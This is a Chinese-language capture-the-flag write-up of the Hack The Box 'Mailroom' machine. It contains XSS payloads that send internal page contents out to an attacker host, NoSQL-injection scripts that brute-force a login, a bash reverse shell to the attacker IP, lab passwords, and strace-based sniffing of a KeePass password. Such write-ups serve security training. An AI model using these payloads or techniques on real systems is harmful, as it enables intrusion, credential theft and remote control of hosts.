HTB Mailroom WriteUp

Mailroom

Namp

┌──(root💀kali)-[~]
└─# nmap -A 10.10.11.209
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-16 22:27 EDT
Nmap scan report for 10.10.11.209
Host is up (0.093s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 94bb2ffcaeb9b182afd789811aa76ce5 (RSA)
|   256 821beb758b9630cf946e7957d9ddeca7 (ECDSA)
|_  256 19fb45feb9e4275de5bbf35497dd68cf (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: The Mail Room
|_http-server-header: Apache/2.4.54 (Debian)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

xss漏洞

进到web界面各种尝试发现了一个xss

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

<script src="http://10.10.16.11/XSS/getcookie.php?cookie='+document.cookie+'"></script>

尝试这个payload来获取cookie失败了,什么都没拿到

XMLRequest发起ajax请求

在网上搜素了一段时间后发现了这篇文章

https://0xdf.gitlab.io/2021/03/20/htb-crossfit.html#subdomain-enum-again

他是利用xss,最终实现了发起http请求的目的,并且把请求的结果返回了,我也尝试一下

文章中的payload

var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {if(fetch_req.readyState == XMLHttpRequest.DONE) {var exfil_req = new XMLHttpRequest();exfil_req.open("POST", "http://10.10.14.11:3000", false);exfil_req.send("Resp Code: " + fetch_req.status + "\nPage Source:\n" + fetch_req.response);}
};
fetch_req.open("GET", "http://gym-club.crossfit.htb/security_threat/report.php", false);
fetch_req.send();

修改后:

<script>
var fetch_req = new XMLHttpRequest();
fetch_req.onreadystatechange = function() {if(fetch_req.readyState == XMLHttpRequest.DONE) {var exfil_req = new XMLHttpRequest();exfil_req.open("POST", "http://10.10.16.11", false);exfil_req.send("Resp Code: " + fetch_req.status + "\nPage Source:\n" + fetch_req.response);}
};
fetch_req.open("GET", "http://127.0.0.1//contact.php", false);
fetch_req.send();
</script>

nc -lvnp 80

在这里插入图片描述

成功收到了请求的信息,内容就是contact.php 的内容,也就是意味着我们可以在内网中发起请求

寻找子域名

在这里插入图片描述

仔细观察下面mailroom.htb 尝试寻找子域名

┌──(root💀kali)-[~]
└─# gobuster vhost -u http://mailroom.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://mailroom.htb
[+] Method:          GET
[+] Threads:         100
[+] Wordlist:        /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent:      gobuster/3.3
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/04/16 22:50:03 Starting gobuster in VHOST enumeration mode
===============================================================
Found: git.mailroom.htb Status: 200 [Size: 13201]
Progress: 41955 / 114442 (36.66%)

在这里插入图片描述

staff-review-panel 子域名

在这里插入图片描述

发现了新的子域名:http://staff-review-panel.mailroom.htb/auth.php?token=

把子域名信息添加到/etc/hosts文件中

10.10.11.209 mailroom.htb
10.10.11.209 git.mailroom.htb
10.10.11.209 staff-review-panel.mailroom.htb

我们直接在kali本地访问,发现403了

在这里插入图片描述

那么接下来我们尝试使用xss进行请求


└─# cat pwned.js                                                                                            
var http = new XMLHttpRequest();
http.open('GET', "http://staff-review-panel.mailroom.htb/index.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {fetch("http://10.10.16.6/out?" + encodeURI(btoa(this.responseText)));
};
http.send(null);

Burpsuite 报文

POST /contact.php HTTP/1.1
Host: mailroom.htb
Content-Length: 82
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://mailroom.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.48
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://mailroom.htb/contact.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: closeemail=1%401.com&title=1&message=<script src="http://10.10.16.6/pwned.js"></script>

在这里插入图片描述

成功接收回显!!读取到的内容是base64 加密过后的内容

代码审计

index.php

<!DOCTYPE html>
<html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><meta name="description" content="" /><meta name="author" content="" /><title>Inquiry Review Panel</title><!-- Favicon--><link rel="icon" type="image/x-icon" href="assets/favicon.ico" /><!-- Bootstrap icons--><link href="font/bootstrap-icons.css" rel="stylesheet" /><!-- Core theme CSS (includes Bootstrap)--><link href="css/styles.css" rel="stylesheet" />
</head><body><div class="wrapper fadeInDown"><div id="formContent"><!-- Login Form --><form id='login-form' method="POST"><h2>Panel Login</h2><input required type="text" id="email" class="fadeIn second" name="email" placeholder="Email"><input required type="password" id="password" class="fadeIn third" name="password" placeholder="Password"><input type="submit" class="fadeIn fourth" value="Log In"><p hidden id="message" style="color: #8F8F8F">Only show this line if response - edit code</p></form><!-- Remind Passowrd --><div id="formFooter"><a class="underlineHover" href="register.html">Create an account</a></div></div></div><!-- Bootstrap core JS--><script src="js/bootstrap.bundle.min.js"></script><!-- Login Form--><script>// Get the form elementconst form = document.getElementById('login-form');// Add a submit event listener to the formform.addEventListener('submit', event => {// Prevent the default form submissionevent.preventDefault();// Send a POST request to the login.php scriptfetch('/auth.php', {method: 'POST',body: new URLSearchParams(new FormData(form)),headers: { 'Content-Type': 'application/x-www-form-urlencoded' }}).then(response => {return response.json();}).then(data => {// Display the name and message in the pagedocument.getElementById('message').textContent = data.message;document.getElementById('password').value = '';document.getElementById('message').removeAttribute("hidden");}).catch(error => {// Display an error message//alert('Error: ' + error);});});</script>
</body>
</html>

看回显内容这个界面大概是一个登录页面,看到还有注册的页面,读取一下register.html

register.html

<!DOCTYPE html>
<html lang="en"><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><meta name="description" content="" /><meta name="author" content="" /><title>Inquiry Review Panel</title><!-- Favicon--><link rel="icon" type="image/x-icon" href="assets/favicon.ico" /><!-- Bootstrap icons--><link href="font/bootstrap-icons.css" rel="stylesheet" /><!-- Core theme CSS (includes Bootstrap)--><link href="css/styles.css" rel="stylesheet" />
</head><body><div class="wrapper fadeInDown"><div id="formContent"><h2>We are not accepting any new registrants at this moment.</h2><br><br><br><div id="formFooter"><a class="underlineHover" href="index.php">Login</a></div></div></div><!-- Bootstrap core JS--><script src="js/bootstrap.bundle.min.js"></script>
</body></html>

在这里插入图片描述

对比这两个通过xss漏洞读取到的文件内容和仓库里面对比是一样的,所以接下来审计代码 ,我们把这个仓库git来

┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/mailroom]
└─# git clone http://git.mailroom.htb/matthew/staffroom.git
Cloning into 'staffroom'...
remote: Enumerating objects: 1209, done.
remote: Counting objects: 100% (1209/1209), done.
remote: Compressing objects: 100% (531/531), done.
remote: Total 1209 (delta 666), reused 1198 (delta 660), pack-reused 0
Receiving objects: 100% (1209/1209), 1.47 MiB | 2.00 MiB/s, done.
Resolving deltas: 100% (666/666), done.
┌──(root💀kali)-[/home/kali/hacktheboxtools/machine/mailroom]
└─# ls
staffroom

在这里插入图片描述

把所以鉴权的位置都修改一下
在这里插入图片描述

在这里插入图片描述

都注释一下

auth.php

<?php
require 'vendor/autoload.php';session_start(); // Start a session
$client = new MongoDB\Client("mongodb://mongodb:27017"); // Connect to the MongoDB database
header('Content-Type: application/json');
if (!$client) {header('HTTP/1.1 503 Service Unavailable');echo json_encode(['success' => false, 'message' => 'Failed to connect to the database']);exit;
}
$collection = $client->backend_panel->users; // Select the users collection// Authenticate user & Send 2FA if valid
if (isset($_POST['email']) && isset($_POST['password'])) {// Verify the parameters are validif (!is_string($_POST['email']) || !is_string($_POST['password'])) {header('HTTP/1.1 401 Unauthorized');echo json_encode(['success' => false, 'message' => 'Invalid input detected']);}// Check if the email and password are correct$user = $collection->findOne(['email' => $_POST['email'], 'password' => $_POST['password']]);if ($user) {// Generate a random UUID for the 2FA token$token = bin2hex(random_bytes(16));$now = time();// Update the user record in the database with the 2FA token if not already sent in the last minute$user = $collection->findOne(['_id' => $user['_id']]);if(($user['2fa_token'] && ($now - $user['token_creation']) > 60) || !$user['2fa_token']) {$collection->updateOne(['_id' => $user['_id']],['$set' => ['2fa_token' => $token, 'token_creation' => $now]]);// Send an email to the user with the 2FA token$to = $user['email'];$subject = '2FA Token';$message = 'Click on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=' . $token;mail($to, $subject, $message);}// Return a JSON response notifying about 2faecho json_encode(['success' => true, 'message' => 'Check your inbox for an email with your 2FA token']);exit;} else {// Return a JSON error responseheader('HTTP/1.1 401 Unauthorized');echo json_encode(['success' => false, 'message' => 'Invalid email or password']);}
}// Check for invalid parameters
else if (!isset($_GET['token'])) {header('HTTP/1.1 400 Bad Request');echo json_encode(['success' => false, 'message' => 'Email and password are required']);exit;
}// Check if the form has been submitted
else if (isset($_GET['token'])) {// Verify Token parameter is validif (!is_string($_GET['token']) || strlen($_GET['token']) !== 32) {header('HTTP/1.1 401 Unauthorized');echo json_encode(['success' => false, 'message' => 'Invalid input detected']);exit;}// Check if the token is correct$user = $collection->findOne(['2fa_token' => $_GET['token']]);if ($user) {// Set the logged_in flag and name in the session$_SESSION['logged_in'] = true;$_SESSION['name'] = explode('@', $user['email'])[0];// Remove 2FA token since user already used it to log in$collection->updateOne(['_id' => $user['_id']],['$unset' => ['2fa_token' => '']]);// Redirect to dashboard since login was successfulheader('Location: dashboard.php');exit;} else {// Return a JSON error responseheader('HTTP/1.1 401 Unauthorized');echo json_encode(['success' => false, 'message' => 'Invalid 2FA Login Token']);exit;}
}?>

审计了一下,这个页面的作用是鉴权,正如文件名auth.php 一样 ,首先观察到 后端用的数据库为 MongoDB,MongoDB注意会有Nosql注入的情况,然后就是开始鉴权逻辑

  1. 首先检查用户是否通过POST请求发送emali 和 password 字段
    1. 在数据库中查找用户按照这个条件,如果找到该用户,那么进入2FA验证逻辑
    2. 服务的会发送一封邮件到指定的邮箱中,点击这个邮箱中收到的链接才会在session中存放一个token字段
    3. 最后校验这个token正确的话才表示登入成功,token长度为32个字符,且为字符串类型

这里是存在nosql注入的,有关于nosql注入的内容

Refer:https://book.hacktricks.xyz/pentesting-web/nosql-injection

inspect.php

<?php
session_start(); // Start a session
// Check if authorized
if (!isset($_SESSION['logged_in']) || $_SESSION['logged_in'] !== true) {// header('Location: index.php'); // The user is NOT logged in, redirect back to the login page// exit;
}$data = '';
if (isset($_POST['inquiry_id'])) {$inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['inquiry_id']);$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");// Parse the data between  and </p>$start = strpos($contents, '<p class="lead mb-0">');if ($start === false) {// Data not found$data = 'Inquiry contents parsing failed';} else {$end = strpos($contents, '</p>', $start);$data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));}
}$status_data = '';
if (isset($_POST['status_id'])) {$inquiryId = preg_replace('/[\$<>;|&{}\(\)\[\]\'\"]/', '', $_POST['status_id']);$contents = shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");// Parse the data between  and </p>$start = strpos($contents, '<p class="lead mb-1">');if ($start === false) {// Data not found$status_data = 'Inquiry contents parsing failed';} else {$end = strpos($contents, '</p>', $start);$status_data = htmlspecialchars(substr($contents, $start + 21, $end - $start - 21));}
}

这个文件带有命令执行!!!shell_exec("cat /var/www/mailroom/inquiries/$inquiryId.html");

Nosql利用

这里是存在nosql注入的,有关于nosql注入的内容

Refer:https://book.hacktricks.xyz/pentesting-web/nosql-injection

我们看到auth.php中验证是通过 和MongoDB 交互的 我们在这里尝试 nosql

┌──(root💀kali)-[/home/…/hacktheboxtools/machine/mailroom/pwnjs]
└─# cat pwnnosql.jsvar http = new XMLHttpRequest();
http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onload = function () {fetch("http://10.10.16.6/out?" + encodeURI(btoa(this.responseText)));
};
http.send("email[$ne]=someb0dy@sm.com&password[$ne]=someb0dy");

在这里插入图片描述

在这里插入图片描述

可以看到我们成功登录了

接下来想办法通过nosql爆破用户名和密码

brute-force username

下面的脚本通过递归调用的方式慢慢爆出我们想要的内容

┌──(root💀kali)-[/home/…/hacktheboxtools/machine/mailroom/pwnjs]
└─# cat pwnuser.js
async function callAuth(mail) {var http = new XMLHttpRequest();http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.onload = function () {if (/"success":true/.test(this.responseText)) {notify(mail);cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", mail);}};http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {fetch("http://10.10.16.6/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {for (var i = 0; i < chars.length; i++) {callAuth(chars[i] + mail)}
}
cal(chars, "");

在这里插入图片描述

在bp上 连续发送两个包

在这里插入图片描述

我们可以看到返回了username 末尾的三个字符

那我们修改一下脚本

async function callAuth(mail) {var http = new XMLHttpRequest();http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.onload = function () {if (/"success":true/.test(this.responseText)) {notify(mail);cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~", mail);}};http.send("email[$regex]=.*" + mail + "@mailroom.htb&password[$ne]=abc");
}
function notify(mail) {fetch("http://10.10.16.6/out?" + mail);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, mail) {for (var i = 0; i < chars.length; i++) {callAuth(chars[i] + mail)}
}
cal(chars, "tan");

cal(chars,"") 修改成 cal(chars,"tan");

继续前面的操作,burpsuite 上发送两个包
在这里插入图片描述

可以看到又多爆出了3个email 的字符,一直这样操作直到,直到不再有新的字符生成

在这里插入图片描述

最后就是得到

email: tristan@mailroom.htb

brute-force password

async function callAuth(pass) {var http = new XMLHttpRequest();http.open('POST', "http://staff-review-panel.mailroom.htb/auth.php", true);http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');http.onload = function () {if (/"success":true/.test(this.responseText)) {notify(pass);cal("0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%'()+, -/:;<=>@[\]_`{}~", pass);}};http.send("email=tristan@mailroom.htb&password[$regex]=^"+pass);
}
function notify(pass) {fetch("http://10.10.16.6/out?" + pass);
}
var chars = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#%'()+, -/:;<=>@[\]_`{}~";
function cal(chars, pass) {for (var i = 0; i < chars.length; i++) {callAuth(pass+chars[i])}
}
cal(chars, "");

同样的方法爆破 password

在这里插入图片描述

bp点两下

在这里插入图片描述

开头前3位为69t 就和前面爆破 email 一样接着继续

在这里插入图片描述

最终得到一个密码

用户名和密码

emailpassword
tristan69trisRulez!

尝试ssh登录,成功登录
在这里插入图片描述

登录上来后,发现flag不在 tristan用户的跟目录下 在matthew 用户的根目录下

在这里插入图片描述

内网中的 staff-review-panel 这个域名我们不能直接访问,通过代建socks代理 探测

在这里插入图片描述

在这里插入图片描述

尝试登录需要 2FA验证

tristan@mailroom:/$ cd /var
tristan@mailroom:/var$ ls
backups  cache  crash  lib  local  lock  log  mail  opt  run  spool  tmp
tristan@mailroom:/var$ cd mail
tristan@mailroom:/var/mail$ ls
root  tristan
tristan@mailroom:/var/mail$ pwd
/var/mail
tristan@mailroom:/var/mail$ cat tristan
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])by mailroom.localdomain (Postfix) with SMTP id D9FCCB428for <tristan@mailroom.htb>; Thu, 20 Apr 2023 03:51:24 +0000 (UTC)
Subject: 2FAClick on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=d21406f4bbfb773bb13e87486c977e1d
From noreply@mailroom.htb  Thu Apr 20 04:06:25 2023
Return-Path: <noreply@mailroom.htb>
X-Original-To: tristan@mailroom.htb
Delivered-To: tristan@mailroom.htb
Received: from localhost (unknown [172.19.0.5])by mailroom.localdomain (Postfix) with SMTP id C02DC1C6Ffor <tristan@mailroom.htb>; Thu, 20 Apr 2023 04:06:25 +0000 (UTC)
Subject: 2FAClick on this link to authenticate: http://staff-review-panel.mailroom.htb/auth.php?token=1b3561f8c0bd39549c69774f8eba7b01tristan@mailroom:/var/mail$

我们在/etc/mail/tristan 文件中发现了这个链接

访问一下

在这里插入图片描述

成功进入

还记得inspect.php是可以执行命令嘛,在代码中调用了shell_exec,传入参数我们可控 我们在这里尝试

在这里插入图片描述

nc 文件的内容


#!/bin/bash
bash -i >& /dev/tcp/10.10.16.6/5555 0>&1

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

www-data@04db00295fe8:/var/www$ grep "matthew" ./ -r
grep "matthew" ./ -r
./mailroom/inquiries/5657465f7712d50b2aaceaa09453c71f.html:(Contact me back on: matthew@mailroom.htb)</p>
./mailroom/.git/logs/refs/heads/main:0000000000000000000000000000000000000000 5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 root <root@5e997c58f211.(none)> 1673805536 +0000       clone: from http://gitea:3000/matthew/mailroom.git
./mailroom/.git/logs/refs/heads/main:5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 05df50058522438204f42930fe3720a3b73d287b root <matthew@mailroom.htb> 1674125833 +0000   commit: added page timeout
./mailroom/.git/logs/refs/remotes/origin/main:5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 05df50058522438204f42930fe3720a3b73d287b root <matthew@mailroom.htb> 1674125839 +0000  update by push
./mailroom/.git/logs/refs/remotes/origin/HEAD:0000000000000000000000000000000000000000 5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 root <root@5e997c58f211.(none)> 1673805536 +0000      clone: from http://gitea:3000/matthew/mailroom.git
./mailroom/.git/logs/HEAD:0000000000000000000000000000000000000000 5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 root <root@5e997c58f211.(none)> 1673805536 +0000 clone: from http://gitea:3000/matthew/mailroom.git
./mailroom/.git/logs/HEAD:5307ce1a27aa9d7caec71cc7bd9c3649e17f1be9 05df50058522438204f42930fe3720a3b73d287b root <matthew@mailroom.htb> 1674125833 +0000     commit: added page timeout
./mailroom/.git/config: url = http://matthew:HueLover83%23@gitea:3000/matthew/mailroom.git
./mailroom/.git/config: email = matthew@mailroom.htb
./staffroom/.git/logs/refs/heads/main:0000000000000000000000000000000000000000 4d3b167f4f228d18f97bb85da6983ff629274a3a root <root@5e997c58f211.(none)> 1673805542 +0000      clone: from http://gitea:3000/matthew/staffroom.git
./staffroom/.git/logs/refs/heads/main:4d3b167f4f228d18f97bb85da6983ff629274a3a 1677521748602cce2f0d7ab25664ac6d414e26ef root <matthew@mailroom.htb> 1674048504 +0000  commit: fixed path problem
./staffroom/.git/logs/refs/heads/main:1677521748602cce2f0d7ab25664ac6d414e26ef 4b6cd765986ff06ea7247528c42b4127633beb22 root <matthew@mailroom.htb> 1674125768 +0000  commit: fixed path bug & email spam
./staffroom/.git/logs/refs/remotes/origin/main:4d3b167f4f228d18f97bb85da6983ff629274a3a 1677521748602cce2f0d7ab25664ac6d414e26ef root <matthew@mailroom.htb> 1674048511 +0000 update by push
./staffroom/.git/logs/refs/remotes/origin/main:1677521748602cce2f0d7ab25664ac6d414e26ef 4b6cd765986ff06ea7247528c42b4127633beb22 root <matthew@mailroom.htb> 1674125777 +0000 update by push
./staffroom/.git/logs/refs/remotes/origin/HEAD:0000000000000000000000000000000000000000 4d3b167f4f228d18f97bb85da6983ff629274a3a root <root@5e997c58f211.(none)> 1673805542 +0000     clone: from http://gitea:3000/matthew/staffroom.git
./staffroom/.git/logs/HEAD:0000000000000000000000000000000000000000 4d3b167f4f228d18f97bb85da6983ff629274a3a root <root@5e997c58f211.(none)> 1673805542 +0000clone: from http://gitea:3000/matthew/staffroom.git
./staffroom/.git/logs/HEAD:4d3b167f4f228d18f97bb85da6983ff629274a3a 1677521748602cce2f0d7ab25664ac6d414e26ef root <matthew@mailroom.htb> 1674048504 +0000    commit: fixed path problem
./staffroom/.git/logs/HEAD:1677521748602cce2f0d7ab25664ac6d414e26ef 4b6cd765986ff06ea7247528c42b4127633beb22 root <matthew@mailroom.htb> 1674125768 +0000    commit: fixed path bug & email spam
./staffroom/.git/config:        url = http://matthew:HueLover83%23@gitea:3000/matthew/staffroom.git
./staffroom/.git/config:        email = matthew@mailroom.htb
www-data@04db00295fe8:/var/www$

反弹shell 后 我们参数搜索有 matthew 关键字的文件

http://matthew:HueLover83#@gitea:3000/matthew/staffroom.git

usernamepassword
matthewHueLover83#

切换用户拿到userflag

root

在matthew 目录下发现一个 personal.kdbx 文件

尝试下载

在这里插入图片描述

上次打coder的时候,看见过这种后缀名的文件可以使用keePass软件打开,但是需要key

在这里插入图片描述

pspy 看进进程的时候找到了 kpcli 进程

在这里插入图片描述

通过ps -ef | grep kpcli | grep perl | awk '{print $2} '来找到 kpcli的进程id

matthew@mailroom:~$ ps -ef  | grep kpcli | grep perl  | awk '{print $2} '
390872

通过 strace -p 来查看系统调用

strace log信息

matthew@mailroom:~$ strace -e read -p `ps -ef | grep kpcli | grep perl | awk '{print $2}'`   -o readlog.txt
matthew@mailroom:~$cat readlog.txt
read(3, "e", 1)                         = 1
read(3, "/", 1)                         = 1
read(3, "m", 1)                         = 1
read(3, "a", 1)                         = 1
read(3, "t", 1)                         = 1
read(3, "t", 1)                         = 1
read(3, "h", 1)                         = 1
read(3, "e", 1)                         = 1
read(3, "w", 1)                         = 1
read(3, "/", 1)                         = 1
read(3, "p", 1)                         = 1
read(3, "e", 1)                         = 1
read(3, "r", 1)                         = 1
read(3, "s", 1)                         = 1
read(3, "o", 1)                         = 1
read(3, "n", 1)                         = 1
read(3, "a", 1)                         = 1
read(3, "l", 1)                         = 1
read(3, ".", 1)                         = 1
read(3, "k", 1)                         = 1
read(3, "d", 1)                         = 1
read(3, "b", 1)                         = 1
read(3, "x", 1)                         = 1
read(3, "\n", 1)                        = 1
read(5, "\3\331\242\232g\373K\265\1\0\3\0\2\20\0001\301\362\346\277qCP\276X\5!j\374Z\377\3"..., 8192) = 1998
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "!", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "s", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "E", 8192)                      = 1
read(0, "c", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "U", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "r", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "3", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "p", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "4", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "$", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "$", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "w", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "0", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "1", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "\10", 8192)                    = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "r", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "d", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "9", 8192)                      = 1
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, 0x5571c3b98650, 8192)           = -1 EAGAIN (Resource temporarily unavailable)
read(0, "\n", 8192)                     = 1
read(5, "\3\331\242\232g\373K\265\1\0\3\0\2\20\0001\301\362\346\277qCP\276X\5!j\374Z\377\3"..., 8192) = 1998
read(5, "\npackage Compress::Raw::Zlib;\n\nr"..., 8192) = 8192
read(5, " if $validate && $value !~ /^\\d+"..., 8192) = 8192
read(5, "    croak \"Compress::Raw::Zlib::"..., 8192) = 8192
read(5, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0)\0\0\0\0\0\0"..., 832) = 832
read(5, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\200\"\0\0\0\0\0\0"..., 832) = 832
read(5, "# XML::Parser\n#\n# Copyright (c) "..., 8192) = 8192
read(6, "package XML::Parser::Expat;\n\nuse"..., 8192) = 8192
read(6, ";\n    }\n}\n\nsub position_in_conte"..., 8192) = 8192
read(6, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\240<\0\0\0\0\0\0"..., 832) = 832
read(6, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000B\0\0\0\0\0\0"..., 832) = 832
read(5, "package MIME::Base64;\n\nuse stric"..., 8192) = 5450
read(5, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300\22\0\0\0\0\0\0"..., 832) = 832
read(6, "\3\331\242\232g\373K\265\1\0\3\0\2\20\0001\301\362\346\277qCP\276X\5!j\374Z\377\3"..., 8192) = 1998
read(6, "", 8192)                       = 0
read(3, "l", 1)                         = 1
read(3, "s", 1)                         = 1
read(3, " ", 1)                         = 1
read(3, "R", 1)                         = 1
read(3, "o", 1)                         = 1
read(3, "o", 1)                         = 1
read(3, "t", 1)                         = 1
read(3, "/", 1)                         = 1
read(3, "\n", 1)                        = 1
read(3, "s", 1)                         = 1
read(3, "h", 1)                         = 1
